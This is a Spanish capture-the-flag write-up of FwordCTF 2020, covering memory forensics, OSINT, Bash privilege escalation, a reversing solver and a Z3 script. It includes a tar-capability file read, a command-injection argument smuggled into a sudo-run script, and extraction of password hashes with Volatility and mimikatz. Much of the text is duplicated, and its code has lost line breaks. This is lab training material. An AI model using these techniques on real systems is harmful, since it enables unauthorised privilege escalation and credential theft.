El hint que proporcionan es un JPG con una captura de una historia de Instagram, en la que se puede ver un hotel (con su nombre).Con una bΓΊsqueda rΓ‘pida en Google veo que se trata del hotel Hilton Podgorica Crna Gora, y con la bΓΊsqueda "Hilton Podgorica Crna Gora" "advisor" "eword" encuentro una opiniΓ³n de un tal "Wokaihwokomas Kustermann" en la que se menciona el nombre del equipo.
El primer pastebin indicaba que la flag estaba en una de las redes sociales del lΓder, y en el perfil del usuario se ve la pista βcheck_my_instagramβ, por lo que lo busco en Instagram. En las historias destacadas se puede ver la misma imagen del hotel, y luego una en la que sugiere que las fotos de perfil de Instagram sean cuadradas. Esto parece una pista por lo que trato de obtener la imagen de perfil con el depurador de red del navegador. Sin embargo, la foto que se obtiene es muy pequeΓ±a, y en ella se puede apreciar que hay algo escrito en la parte inferior, pero que es ilegible.
Para ver la imagen de perfil a tamaΓ±o real utilizo la pΓ‘gina Instadp (https://www.instadp.com/fullsize/wokaihwokomaskustermann)Ahora sΓ se puede apreciar la flag.
**Eword{c0ngraAatulationZzZz_aNd_w3lCom3_to_Eword_Team_!}**
## Bash - CapiCapi
> You have to do some privilege escalation in order to read the flag! Use the following SSH credentials to connect to the server, each participant will have an isolated environment so you only have to pwn me! >> SSH Credentials > ssh -p 2222 [emailΒ protected] > Password: FwordxKahla
Listando las capabilities (```getcap -r / 2>/dev/null```) me encuentro con que el programa **/usr/bin/tar** tiene la capacidad de leer cualquier archivo del sistema (**cap_dac_read_search+ep**). Para acceder a la flag bastarΓa con comprimir la flag para luego descomprimirla en un archivo que sΓ tenga permiso de lectura para el usuario actual:
```getcap -r / 2>/dev/null/usr/bin/tar cvf /tmp/flag.txt.tar flag.txtcd /tmp/usr/bin/tar xvf flag.txt.tarcat flag.txt```
**FwordCTF{C4pAbiLities_4r3_t00_S3Cur3_NaruT0_0nc3_S4id}**
## Bash - Bash is fun
> Bash is fun, prove me wrong and do some privesc. >> SSH Credentials > ssh -p 2222 [emailΒ protected] > Password: FwOrDAndKahl4FTW
La flag solo puede ser leΓda por root o por un usuario del grupo **user-privileged**:
La salida de ```sudo -l``` indica que puedo ejecutar el script **welcome.sh** como user-privileged, el cual puede ver el contenido de flag.txt. El script es el siguiente:```bash#!/bin/bashname="greet"while [[ "$1" =~ ^- && ! "$1" == "--" ]]; do case $1 in -V | --version ) echo "Beta version" exit ;; -n | --name ) shift; name=$1 ;; -u | --username ) shift; username=$1 ;; -p | --permission ) permission=1 ;;esac; shift; doneif [[ "$1" == '--' ]]; then shift; fi
echo "Welcome To SysAdmin Welcomer \o/"
eval "function $name { sed 's/user/${username}/g' welcome.txt ; }"export -f $nameisNew=0if [[ $isNew -eq 1 ]];then $namefi
if [[ $permission -eq 1 ]];then echo "You are: " idfi```
Se puede llevar a cabo una inyecciΓ³n de cΓ³digo mediante el parΓ‘metro **username**, el cual es utilizado en el sed para sustituir la palabra βuserβ contenida en welcome.txt y mostrarlo por pantalla. El if relativo a la variable βisNewβ no se ejecuta nunca, pero se puede conseguir la ejecuciΓ³n de la funciΓ³n otorgando el valor **βidβ** al parΓ‘metro **'name'**, puesto que con el parΓ‘metro **permission** se puede ejecutar la sentencia βidβ, que en vez de ser el comando /usr/bin/id serΓa la nueva funciΓ³n exportada.
La flag se leerΓa entonces asΓ: ```sudo -u user-privileged /home/user1/welcome.sh -u "pwned/g' flag.txt; echo '" -n id -p```. NΓ³tese el echo del final con la comilla para cerrar correctamente el resto del comando y que no genere un error de sintaxis.
**FwordCTF{W00w_KuR0ko_T0ld_M3_th4t_Th1s_1s_M1sdirecti0n_BasK3t_FTW}**
## Reversing - Tornado
Archivos: Tornado.7z
El archivo comprimido contiene un script en Python que desordena y cifra una flag con AES, cuya clave es conocida. Modifico el script para realizar funciones de descifrado, invirtiendo el orden. Sin embargo, la flag estΓ‘ desordenada, ya que pasΓ³ por la funciΓ³n **shuffle** antes de ser cifrada. Esta funciΓ³n es vulnerable porque asigna como semilla un caracter de la propia flag. Como la flag tiene el formato **FwordCTF{**...**}**, se puede iterar por cada caracter diferente de la flag y comprobar si las posiciones finales de la flag incompleta son iguales.
Un **detalle importante** que me hizo perder bastante tiempo, es que debe correrse con **Python3**. Entre las versiones de Python diferentes no se genera la misma secuencia de nΓΊmeros para la misma semilla.
```python#!/usr/bin/python3#-*- encoding=UTF8 -*-from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadfrom Crypto.Util.number import long_to_bytesfrom binascii import hexlify, unhexlifyimport random
key = "very_awes0m3_k3y"flag = "FwordCTF{W!Pr35gp_ZKrJt[NcV_Kd-/NmJ-8ep(*A48t9jBLNrdFDqSBGTAt}" # Cadena aleatoria de pruebaassert len(flag) == 62assert len(key) == 16
def to_blocks(text): return [text[i*2:(i+1)*2].encode() for i in range(len(text)//2)]
def random_bytes(seed): random.seed(seed) return long_to_bytes(random.getrandbits(8*16))
def encrypt_block(block,key): cipher = AES.new(key.encode(), AES.MODE_ECB) plain_pad = pad(block, 16) return hexlify(cipher.encrypt(plain_pad)).decode()
def encrypt(txt, key): res = "" blocks = to_blocks(txt) for block in blocks: res += encrypt_block(block, key) return res
def translate(txt,l,r): return txt[:l]+txt[r:]+txt[l:r]
def shuffle(txt): seed=random.choice(txt) random.seed(seed) nums = [] for _ in range(45): l = random.randint(0, 15) r = random.randint(l+1, 33) txt = translate(txt, l, r) nums = [[l,r]] + nums return txt, nums
def slice(txt, n): return [txt[index : index + n] for index in range(0, len(txt), n)]
def decrypt_block(block,key): cipher = AES.new(key.encode(), AES.MODE_ECB) return unpad(cipher.decrypt(unhexlify(block.encode())), 16).decode()
def shuffle2(txt, seed): random.seed(seed) nums = [] for i in range(45): l = random.randint(0, 15) r = random.randint(l+1, 33) txt = translate(txt, l, r) nums = [[l,r]] + nums return txt, nums
def reverse_translate(txt, l, r): n = len(txt) - r + l res = txt[:l] + txt[n:] + txt[l:n] assert len(res) == len(txt) return res
def crack(encrypted): # Descifra los bloques blocks = slice(encrypted, 32) decrypted = "".join(decrypt_block(block, key) for block in blocks) print("[*] Descifrado: " + decrypted) # Ahora la flag estΓ‘ shuffleada, por lo que se obtienen los indices # de los caracteres unicos en la parte que se conoce de la flag known = "FwordCTF{}" uniqueKnown = "" for c in known: if decrypted.count(c) == 1: uniqueKnown += c print("[*] Caracteres ΓΊnicos de la parte conocida de la flag: " + uniqueKnown) indexes = [decrypted.index(c) for c in uniqueKnown] print("[*] Indices aleatorizados de los caracteres: " + str(indexes)) # Se itera el charset de la flag descifrada, ya que la semilla es un caracter de esta, # y se busca con cuales de ellas se obtienen los mismos indices charset = [] for char in decrypted: if char not in charset: charset.append(char) dummy = "FwordCTF{BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB}" assert len(dummy) == 62
seeds = [] for char in charset: res, _ = shuffle2(dummy, char) i = [res.index(c) for c in uniqueKnown] if indexes == i: seeds.append(char) print("[*] Posibles semillas: " + str(seeds)) # Se obtiene la secuencia de numeros aleatorios generados en la funcion shuffle for seed in seeds: _, nums = shuffle2(dummy, seed) # Aplica las operaciones inversas solution = decrypted for lr in nums: solution = reverse_translate(solution, lr[0], lr[1]) print("[*] Posible soluciΓ³n con semilla {}: {}".format(seed, solution))
def shuffleEncrypt(txt, key): shuffled, nums = shuffle(txt) print("[*] Desordenada: " + shuffled) print("[*] Nums: " + str(nums)) return encrypt(shuffled, key)
#encrypted = shuffleEncrypt(flag, key)encrypted = "3ce29d5f8d646d853b5f6677a564aec6bd1c9f0cbfac0af73fb5cfb446e08cfec5a261ec050f6f30d9f1dfd85a9df875168851e1a111a9d9bfdbab238ce4a4eb3b4f8e0db42e0a5af305105834605f90621940e3f801e0e4e0ca401ff451f1983701831243df999cfaf40b4ac50599de5c87cd68857980a037682b4dbfa1d26c949e743f8d77549c5991c8e1f21d891a1ac87166d3074e4859a26954d725ed4f2332a8b326f4634810a24f1908945052bfd0181ff801b1d3a0bc535df622a299a9666de40dfba06a684a4db213f28f3471ba7059bcbdc042fd45c58ae4970f53fb808143eaa9ec6cf35339c58fa12efa18728eb426a2fcb0234d8539c0628c49b416c0963a33e6a0b91e7733b42f29900921626bba03e76b1911d20728254b84f38a2ce12ec5d98a2fa3201522aa17d6972fe7c04f1f64c9fd4623583cc5a91cc471a13d6ab9b0903704727d1eb987fd5d59b5757babb92758e06d2f12fd7e32d66fe9e3b9d11cd93b11beb70c66b57af71787457c78ff152ff4bd63a83ef894c1f01ae476253cbef154701f07cc7e0e16f7eede0c8fa2d5a5dd5624caa5408ca74b4b8c8f847ba570023b481c6ec642dac634c112ae9fec3cbd59e1d2f84f56282cb74a3ac6152c32c671190e2f4c14704ed9bbe74eaafc3ce27849533141e9642c91a7bf846848d7fbfcd839c2ca3b"print("[*] Cifrado: " + encrypted)
crack(encrypted)```
**FwordCTF{peekaboo_i_am_the_flag_!\_i_am_the_danger_52592bbfcd8}**
## OSINT - Tracking a Criminal
Archivos: Villages.zip
> We have found a flash memory in the crime scene, and it contains 3 images of different villages. So, the criminal may be hiding in one of these villages! Can you locate them?> Flag Format: FwordCTF{}> * Separate between the villages names using underscores ( _ ).> * All the villages names are in lowercase letters.> * There is no symbols in the villages names.
La primera imagen sale tras unas cuantas fotos similares en la bΓΊsqueda por imΓ‘genes de Yandex. Se trata de un hotel famoso en Llanfairpwllgwyngyll, Gales.
#################
A primera vista la segunda imagen me resultΓ³ familiar, y es porque estuve en estuve en este lugar en una carrera de orientaciΓ³n hace aΓ±os. Se trata de Monsanto, un pueblo en Portugal muy bonito y con unas cuantas cuestas.
Dejando a un lado la experiencia y analizando la imagen, creo que las principales pistas son: * La gran roca tras la casa en medio de la imagen. * El gallo veleta encima de la Iglesia a la derecha de la imagen * La cruz de piedra debajo de la iglesia
Una bΓΊsqueda en Google de ```"village" βbouldersβ``` y Monsanto aparece entre los primeros resultados. Desde Google Street View se puede ubicar la zona de la foto teniendo en cuenta la posiciΓ³n de la Iglesia y de la cruz.
Google Maps: https://www.google.com/maps/@40.0389769,-7.1163152,3a,75y,353.95h,97.3t/data=!3m6!1e1!3m4!1sxPxTHX5MEDkQgzwdIMKnKw!2e0!7i13312!8i6656
#################
Lo que se ve en la tercera imagen parece una especie de parque o cementerio en una ciudad montaΓ±osa, con varios edificios pintados de azul.
En la parte derecha de la foto se puede apreciar un logotipo naranja y amarillo con unas barras negras en medio, probablemente perteneciente a algΓΊn establecimiento. Tras varias bΓΊsquedas en internet y una bΓΊsqueda inversa de un dibujo en Paint que no subo porque es muy cutre, doy con que se trata del banco marroquΓ **Attijariwafa**, el cual tiene bastantes sucursales por el mundo.
Llama la atenciΓ³n que hay bastantes edificios pintados de azul. Realizo la bΓΊsqueda ```"morocco" "blue" "paint"``` el principal resultado es la ciudad Chefchaouen, caracterΓstica por este motivo. Busco en Google Maps su localizaciΓ³n y encuentro el banco junto al parque de la foto.
Google Maps: https://www.google.com/maps/@35.168796,-5.2683641,3a,89.1y,122.25h,91.39t/data=!3m8!1e1!3m6!1sAF1QipPf8SoKkPGNoScgrO36z6FUd9Pzyic6a7E4-yem!2e10!3e11!6shttps:%2F%2Flh5.googleusercontent.com%2Fp%2FAF1QipPf8SoKkPGNoScgrO36z6FUd9Pzyic6a7E4-yem%3Dw203-h100-k-no-pi0-ya229.80328-ro-0-fo100!7i8704!8i4352
**FwordCTF{llanfairpwllgwyngyll_monsanto_chefchaouen}**
## Misc - Secret Array
```nc secretarray.fword.wtf 1337```
Para hallar los valores, realizo la suma del primer valor con el resto, lo cual supone 1336 operaciones. La restante se utiliza para hallar la suma entre el segundo y el tercer elemento, suficiente para resolver la ecuaciΓ³n. Utilizo **Z3**:```python#!/usr/bin/python3from pwn import *from z3 import *
target = remote("secretarray.fword.wtf", 1337)target.recv()
solver = Solver()
LENGTH = 1337# Genera las variablesvariables = [Int(f"v_{i}") for i in range(LENGTH)]
for v in variables: solver.add(v > 0)
# Halla la suma del primer valor con el resto (1336 peticiones)print("[*] Hallando sumas...")for i in range(1, LENGTH): print("[*] " + str(i)) target.sendline("0 {}".format(i)) suma = int(target.recvline().strip()) solver.add(variables[0] + variables[i] == suma)
# Halla la suma del segundo y tercer valor (ΓΊltima peticiΓ³n)target.sendline("1 2")suma = int(target.recvline().strip())solver.add(variables[1] + variables[2] == suma)
# Resuelveprint("[*] Resolviendo...")solver.check()model = solver.model()
done = "DONE "for v in variables: done += str(model[v]) + " "
target.sendline(done)target.interactive()```
**FwordCTF{it_s_all_about_the_math}**
|
# Write-up FwordCTF
* [Forensics - Memory 1](#forensics---memory-1)* [Forensics - Memory 2](#forensics---memory-2)* [Forensics - Memory 3](#forensics---memory-3)* [Forensics - Memory 4](#forensics---memory-4)* [Forensics - Memory 5](#forensics---memory-5)* [Forensics - Infection](#forensics---infection)* [Forensics - Null](#forensics---null)* [Bash - CapiCapi](#bash---capicapi)* [Bash - Bash is fun](#bash---bash-is-fun)* [Reversing - Tornado](#reversing---tornado)* [OSINT - Identity Fraud](#osint---identity-fraud)* [OSINT - Tracking a Criminal](#osint---tracking-a-criminal)* [Misc - Secret Array](#misc---secret-array)
## Forensics - Memory 1
Archivos: foren.7z
> Give the hostname, username and password in format FwordCTF{hostname_username_password}.
Se trata de un dump de memoria, por lo que se utiliza **Volatility**.Con imageinfo obtengo que se trata de un dump con el perfil Win7SP1x64. El nombre del equipo se encuentra en el registro, por lo general en la clave 'HKLM\SYSTEM\ControlSet001\Control\ComputerName\ComputerName'.
Para obtenerlo se listan las hives del registro con el comando **hivelist** para ver la direcciΓ³n virtual de la subclave **SYSTEM**. ```volatility -f foren.raw --profile=Win7SP1x64 hivelist```
Luego se imprime el valor de la clave Computer name a partir de esta direcciΓ³n.```volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a000024010 -K 'ControlSet001\Control\ComputerName\ActiveComputerName'```
El nombre del equipo es **FORENWARMUP**.
Para obtener el usuario y la contraseΓ±a se pueden usar **hashdump** y el plugin **mimikatz** que te proporciona la contraseΓ±a en claro, si estΓ‘ disponible.```volatility -f foren.raw --profile=Win7SP1x64 hashdump```
Para crackear el hash NTLM (el segundo) se puede usar CrackStation: https://crackstation.net/.
Mimikatz proporciona en claro la contraseΓ±a:```volatility --plugins=/home/utilidades/plugins-vol -f foren.raw --profile=Win7SP1x64 mimikatz```
**FwordCTF{FORENWARMUP_SBA_AK_password123}**
## Forensics - Memory 2
> I had a secret conversation with my friend on internet. On which channel were we chatting?
En la salida chromehistory se ve que ha estado chateando en un IRC. Hago un dump de la memoria de todos los procesos de chrome visibles en pstree y luego un strings para obtener la flag:
**FwordCTF{top_secret_channel}**
## Forensics - Memory 3
> He sent me a secret file , can you recover it?> PS: NO BRUTEFORCE NEEDED FOR THE PASSWORD
En el mismo dump de memoria de antes, hago un grep ahora con el nombre del canal y el prefijo de mensaje privado para observar la conversaciΓ³n ``PRIVMSG #FwordCTF{top_secret_channel}``
Se puede ver un enlace del que se descarga el archivo βimportant.zipβ, y su contraseΓ±a **fw0rdsecretp4ss**.Dentro del ZIP estΓ‘ flag en una imagen:
**FwordCTF{dont_share_secrets_on_public_channels}**
## Forensics - Memory 4
> Since i'm a geek, i hide my secrets in weird places.
La flag estΓ‘ escondida en el registro, en NTUSER.dat.```volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a0033fe410volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a0033fe410 -K 'FLAG'```
**FwordCTF{hiding_secrets_in_regs}**
## Forensics - Memory 5
Hago un dump de la memoria del proceso de Paint y le doy la extensiΓ³n **.data**, para luego intentar abrirlo en GIMP.
Jugando con los valores de desplazamiento y anchura del diΓ‘logo se puede ver la flag. Con el desplazamiento se pueden ver las diferentes imΓ‘genes, y con la anchura se modifica una especie de rotaciΓ³n para poder verla bien.
**FwordCTF{Paint_Skills_FTW!}**
## Forensics - Infection
[Write-up Jandrov](https://github.com/Jandrov/ctf-writeups/tree/master/2020-FwordCTF#forensics---infection)
## Forensics - Null
[Write-up Jandrov](https://github.com/Jandrov/ctf-writeups/tree/master/2020-FwordCTF#forensics---null)
## OSINT - Identity Fraud
> Someone stole our logo and created a team named "Eword". In order to find him, I created a fake twitter account (@1337bloggs) to join Eword team. Fortunately, they replied to the fake account and gave me a task to solve. So, if I solve it, they will accept me as a team member. ... Can you help me in solving the task?
Buscando las respuestas de la cuenta de Twitter @1337bloggs (https://twitter.com/1337bloggs/with_replies) me encuentro con una conversaciΓ³n con @EwordTeam. En ella le ofrecen unirse al equipo si consigue resolver βalgoβ que hay en su pΓ‘gina de CTFtime, cuyo enlace estΓ‘ en la descripciΓ³n de la cuenta.
Al acceder a la pΓ‘gina (https://ctftime.org/team/131587) no se ve nada aparte de la direcciΓ³n de Twitter, y es porque eliminaron la pista una vez les notificΓ³ el usuario.
Sin embargo, hay una captura en WaybackMachine en la que se aprecia la pista, una direcciΓ³n de Pastebin: http://web.archive.org/web/20200826195056/https://ctftime.org/team/131587
El contenido del Pastebin es:```Hi Fred,
You said that you are good in OSINT. So, you need to prove your skills to join Eword.
Your task:Find the leader of Eword, then find the flag in one of his social media accounts.
Hint:https://pastebin.com/PZvaSjA0```
El hint que proporcionan es un JPG con una captura de una historia de Instagram, en la que se puede ver un hotel (con su nombre).Con una bΓΊsqueda rΓ‘pida en Google veo que se trata del hotel Hilton Podgorica Crna Gora, y con la bΓΊsqueda "Hilton Podgorica Crna Gora" "advisor" "eword" encuentro una opiniΓ³n de un tal "Wokaihwokomas Kustermann" en la que se menciona el nombre del equipo.
El primer pastebin indicaba que la flag estaba en una de las redes sociales del lΓder, y en el perfil del usuario se ve la pista βcheck_my_instagramβ, por lo que lo busco en Instagram. En las historias destacadas se puede ver la misma imagen del hotel, y luego una en la que sugiere que las fotos de perfil de Instagram sean cuadradas. Esto parece una pista por lo que trato de obtener la imagen de perfil con el depurador de red del navegador. Sin embargo, la foto que se obtiene es muy pequeΓ±a, y en ella se puede apreciar que hay algo escrito en la parte inferior, pero que es ilegible.
Para ver la imagen de perfil a tamaΓ±o real utilizo la pΓ‘gina Instadp (https://www.instadp.com/fullsize/wokaihwokomaskustermann)Ahora sΓ se puede apreciar la flag.
**Eword{c0ngraAatulationZzZz_aNd_w3lCom3_to_Eword_Team_!}**
## Bash - CapiCapi
> You have to do some privilege escalation in order to read the flag! Use the following SSH credentials to connect to the server, each participant will have an isolated environment so you only have to pwn me! >> SSH Credentials > ssh -p 2222 [emailΒ protected] > Password: FwordxKahla
Listando las capabilities (```getcap -r / 2>/dev/null```) me encuentro con que el programa **/usr/bin/tar** tiene la capacidad de leer cualquier archivo del sistema (**cap_dac_read_search+ep**). Para acceder a la flag bastarΓa con comprimir la flag para luego descomprimirla en un archivo que sΓ tenga permiso de lectura para el usuario actual:
```getcap -r / 2>/dev/null/usr/bin/tar cvf /tmp/flag.txt.tar flag.txtcd /tmp/usr/bin/tar xvf flag.txt.tarcat flag.txt```
**FwordCTF{C4pAbiLities_4r3_t00_S3Cur3_NaruT0_0nc3_S4id}**
## Bash - Bash is fun
> Bash is fun, prove me wrong and do some privesc. >> SSH Credentials > ssh -p 2222 [emailΒ protected] > Password: FwOrDAndKahl4FTW
La flag solo puede ser leΓda por root o por un usuario del grupo **user-privileged**:
La salida de ```sudo -l``` indica que puedo ejecutar el script **welcome.sh** como user-privileged, el cual puede ver el contenido de flag.txt. El script es el siguiente:```bash#!/bin/bashname="greet"while [[ "$1" =~ ^- && ! "$1" == "--" ]]; do case $1 in -V | --version ) echo "Beta version" exit ;; -n | --name ) shift; name=$1 ;; -u | --username ) shift; username=$1 ;; -p | --permission ) permission=1 ;;esac; shift; doneif [[ "$1" == '--' ]]; then shift; fi
echo "Welcome To SysAdmin Welcomer \o/"
eval "function $name { sed 's/user/${username}/g' welcome.txt ; }"export -f $nameisNew=0if [[ $isNew -eq 1 ]];then $namefi
if [[ $permission -eq 1 ]];then echo "You are: " idfi```
Se puede llevar a cabo una inyecciΓ³n de cΓ³digo mediante el parΓ‘metro **username**, el cual es utilizado en el sed para sustituir la palabra βuserβ contenida en welcome.txt y mostrarlo por pantalla. El if relativo a la variable βisNewβ no se ejecuta nunca, pero se puede conseguir la ejecuciΓ³n de la funciΓ³n otorgando el valor **βidβ** al parΓ‘metro **'name'**, puesto que con el parΓ‘metro **permission** se puede ejecutar la sentencia βidβ, que en vez de ser el comando /usr/bin/id serΓa la nueva funciΓ³n exportada.
La flag se leerΓa entonces asΓ: ```sudo -u user-privileged /home/user1/welcome.sh -u "pwned/g' flag.txt; echo '" -n id -p```. NΓ³tese el echo del final con la comilla para cerrar correctamente el resto del comando y que no genere un error de sintaxis.
**FwordCTF{W00w_KuR0ko_T0ld_M3_th4t_Th1s_1s_M1sdirecti0n_BasK3t_FTW}**
## Reversing - Tornado
Archivos: Tornado.7z
El archivo comprimido contiene un script en Python que desordena y cifra una flag con AES, cuya clave es conocida. Modifico el script para realizar funciones de descifrado, invirtiendo el orden. Sin embargo, la flag estΓ‘ desordenada, ya que pasΓ³ por la funciΓ³n **shuffle** antes de ser cifrada. Esta funciΓ³n es vulnerable porque asigna como semilla un caracter de la propia flag. Como la flag tiene el formato **FwordCTF{**...**}**, se puede iterar por cada caracter diferente de la flag y comprobar si las posiciones finales de la flag incompleta son iguales.
Un **detalle importante** que me hizo perder bastante tiempo, es que debe correrse con **Python3**. Entre las versiones de Python diferentes no se genera la misma secuencia de nΓΊmeros para la misma semilla.
```python#!/usr/bin/python3#-*- encoding=UTF8 -*-from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadfrom Crypto.Util.number import long_to_bytesfrom binascii import hexlify, unhexlifyimport random
key = "very_awes0m3_k3y"flag = "FwordCTF{W!Pr35gp_ZKrJt[NcV_Kd-/NmJ-8ep(*A48t9jBLNrdFDqSBGTAt}" # Cadena aleatoria de pruebaassert len(flag) == 62assert len(key) == 16
def to_blocks(text): return [text[i*2:(i+1)*2].encode() for i in range(len(text)//2)]
def random_bytes(seed): random.seed(seed) return long_to_bytes(random.getrandbits(8*16))
def encrypt_block(block,key): cipher = AES.new(key.encode(), AES.MODE_ECB) plain_pad = pad(block, 16) return hexlify(cipher.encrypt(plain_pad)).decode()
def encrypt(txt, key): res = "" blocks = to_blocks(txt) for block in blocks: res += encrypt_block(block, key) return res
def translate(txt,l,r): return txt[:l]+txt[r:]+txt[l:r]
def shuffle(txt): seed=random.choice(txt) random.seed(seed) nums = [] for _ in range(45): l = random.randint(0, 15) r = random.randint(l+1, 33) txt = translate(txt, l, r) nums = [[l,r]] + nums return txt, nums
def slice(txt, n): return [txt[index : index + n] for index in range(0, len(txt), n)]
def decrypt_block(block,key): cipher = AES.new(key.encode(), AES.MODE_ECB) return unpad(cipher.decrypt(unhexlify(block.encode())), 16).decode()
def shuffle2(txt, seed): random.seed(seed) nums = [] for i in range(45): l = random.randint(0, 15) r = random.randint(l+1, 33) txt = translate(txt, l, r) nums = [[l,r]] + nums return txt, nums
def reverse_translate(txt, l, r): n = len(txt) - r + l res = txt[:l] + txt[n:] + txt[l:n] assert len(res) == len(txt) return res
def crack(encrypted): # Descifra los bloques blocks = slice(encrypted, 32) decrypted = "".join(decrypt_block(block, key) for block in blocks) print("[*] Descifrado: " + decrypted) # Ahora la flag estΓ‘ shuffleada, por lo que se obtienen los indices # de los caracteres unicos en la parte que se conoce de la flag known = "FwordCTF{}" uniqueKnown = "" for c in known: if decrypted.count(c) == 1: uniqueKnown += c print("[*] Caracteres ΓΊnicos de la parte conocida de la flag: " + uniqueKnown) indexes = [decrypted.index(c) for c in uniqueKnown] print("[*] Indices aleatorizados de los caracteres: " + str(indexes)) # Se itera el charset de la flag descifrada, ya que la semilla es un caracter de esta, # y se busca con cuales de ellas se obtienen los mismos indices charset = [] for char in decrypted: if char not in charset: charset.append(char) dummy = "FwordCTF{BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB}" assert len(dummy) == 62
seeds = [] for char in charset: res, _ = shuffle2(dummy, char) i = [res.index(c) for c in uniqueKnown] if indexes == i: seeds.append(char) print("[*] Posibles semillas: " + str(seeds)) # Se obtiene la secuencia de numeros aleatorios generados en la funcion shuffle for seed in seeds: _, nums = shuffle2(dummy, seed) # Aplica las operaciones inversas solution = decrypted for lr in nums: solution = reverse_translate(solution, lr[0], lr[1]) print("[*] Posible soluciΓ³n con semilla {}: {}".format(seed, solution))
def shuffleEncrypt(txt, key): shuffled, nums = shuffle(txt) print("[*] Desordenada: " + shuffled) print("[*] Nums: " + str(nums)) return encrypt(shuffled, key)
#encrypted = shuffleEncrypt(flag, key)encrypted = "3ce29d5f8d646d853b5f6677a564aec6bd1c9f0cbfac0af73fb5cfb446e08cfec5a261ec050f6f30d9f1dfd85a9df875168851e1a111a9d9bfdbab238ce4a4eb3b4f8e0db42e0a5af305105834605f90621940e3f801e0e4e0ca401ff451f1983701831243df999cfaf40b4ac50599de5c87cd68857980a037682b4dbfa1d26c949e743f8d77549c5991c8e1f21d891a1ac87166d3074e4859a26954d725ed4f2332a8b326f4634810a24f1908945052bfd0181ff801b1d3a0bc535df622a299a9666de40dfba06a684a4db213f28f3471ba7059bcbdc042fd45c58ae4970f53fb808143eaa9ec6cf35339c58fa12efa18728eb426a2fcb0234d8539c0628c49b416c0963a33e6a0b91e7733b42f29900921626bba03e76b1911d20728254b84f38a2ce12ec5d98a2fa3201522aa17d6972fe7c04f1f64c9fd4623583cc5a91cc471a13d6ab9b0903704727d1eb987fd5d59b5757babb92758e06d2f12fd7e32d66fe9e3b9d11cd93b11beb70c66b57af71787457c78ff152ff4bd63a83ef894c1f01ae476253cbef154701f07cc7e0e16f7eede0c8fa2d5a5dd5624caa5408ca74b4b8c8f847ba570023b481c6ec642dac634c112ae9fec3cbd59e1d2f84f56282cb74a3ac6152c32c671190e2f4c14704ed9bbe74eaafc3ce27849533141e9642c91a7bf846848d7fbfcd839c2ca3b"print("[*] Cifrado: " + encrypted)
crack(encrypted)```
**FwordCTF{peekaboo_i_am_the_flag_!\_i_am_the_danger_52592bbfcd8}**
## OSINT - Tracking a Criminal
Archivos: Villages.zip
> We have found a flash memory in the crime scene, and it contains 3 images of different villages. So, the criminal may be hiding in one of these villages! Can you locate them?> Flag Format: FwordCTF{}> * Separate between the villages names using underscores ( _ ).> * All the villages names are in lowercase letters.> * There is no symbols in the villages names.
La primera imagen sale tras unas cuantas fotos similares en la bΓΊsqueda por imΓ‘genes de Yandex. Se trata de un hotel famoso en Llanfairpwllgwyngyll, Gales.
#################
A primera vista la segunda imagen me resultΓ³ familiar, y es porque estuve en estuve en este lugar en una carrera de orientaciΓ³n hace aΓ±os. Se trata de Monsanto, un pueblo en Portugal muy bonito y con unas cuantas cuestas.
Dejando a un lado la experiencia y analizando la imagen, creo que las principales pistas son: * La gran roca tras la casa en medio de la imagen. * El gallo veleta encima de la Iglesia a la derecha de la imagen * La cruz de piedra debajo de la iglesia
Una bΓΊsqueda en Google de ```"village" βbouldersβ``` y Monsanto aparece entre los primeros resultados. Desde Google Street View se puede ubicar la zona de la foto teniendo en cuenta la posiciΓ³n de la Iglesia y de la cruz.
Google Maps: https://www.google.com/maps/@40.0389769,-7.1163152,3a,75y,353.95h,97.3t/data=!3m6!1e1!3m4!1sxPxTHX5MEDkQgzwdIMKnKw!2e0!7i13312!8i6656
#################
Lo que se ve en la tercera imagen parece una especie de parque o cementerio en una ciudad montaΓ±osa, con varios edificios pintados de azul.
En la parte derecha de la foto se puede apreciar un logotipo naranja y amarillo con unas barras negras en medio, probablemente perteneciente a algΓΊn establecimiento. Tras varias bΓΊsquedas en internet y una bΓΊsqueda inversa de un dibujo en Paint que no subo porque es muy cutre, doy con que se trata del banco marroquΓ **Attijariwafa**, el cual tiene bastantes sucursales por el mundo.
Llama la atenciΓ³n que hay bastantes edificios pintados de azul. Realizo la bΓΊsqueda ```"morocco" "blue" "paint"``` el principal resultado es la ciudad Chefchaouen, caracterΓstica por este motivo. Busco en Google Maps su localizaciΓ³n y encuentro el banco junto al parque de la foto.
Google Maps: https://www.google.com/maps/@35.168796,-5.2683641,3a,89.1y,122.25h,91.39t/data=!3m8!1e1!3m6!1sAF1QipPf8SoKkPGNoScgrO36z6FUd9Pzyic6a7E4-yem!2e10!3e11!6shttps:%2F%2Flh5.googleusercontent.com%2Fp%2FAF1QipPf8SoKkPGNoScgrO36z6FUd9Pzyic6a7E4-yem%3Dw203-h100-k-no-pi0-ya229.80328-ro-0-fo100!7i8704!8i4352
**FwordCTF{llanfairpwllgwyngyll_monsanto_chefchaouen}**
## Misc - Secret Array
```nc secretarray.fword.wtf 1337```
Para hallar los valores, realizo la suma del primer valor con el resto, lo cual supone 1336 operaciones. La restante se utiliza para hallar la suma entre el segundo y el tercer elemento, suficiente para resolver la ecuaciΓ³n. Utilizo **Z3**:```python#!/usr/bin/python3from pwn import *from z3 import *
target = remote("secretarray.fword.wtf", 1337)target.recv()
solver = Solver()
LENGTH = 1337# Genera las variablesvariables = [Int(f"v_{i}") for i in range(LENGTH)]
for v in variables: solver.add(v > 0)
# Halla la suma del primer valor con el resto (1336 peticiones)print("[*] Hallando sumas...")for i in range(1, LENGTH): print("[*] " + str(i)) target.sendline("0 {}".format(i)) suma = int(target.recvline().strip()) solver.add(variables[0] + variables[i] == suma)
# Halla la suma del segundo y tercer valor (ΓΊltima peticiΓ³n)target.sendline("1 2")suma = int(target.recvline().strip())solver.add(variables[1] + variables[2] == suma)
# Resuelveprint("[*] Resolviendo...")solver.check()model = solver.model()
done = "DONE "for v in variables: done += str(model[v]) + " "
target.sendline(done)target.interactive()```
**FwordCTF{it_s_all_about_the_math}**
|
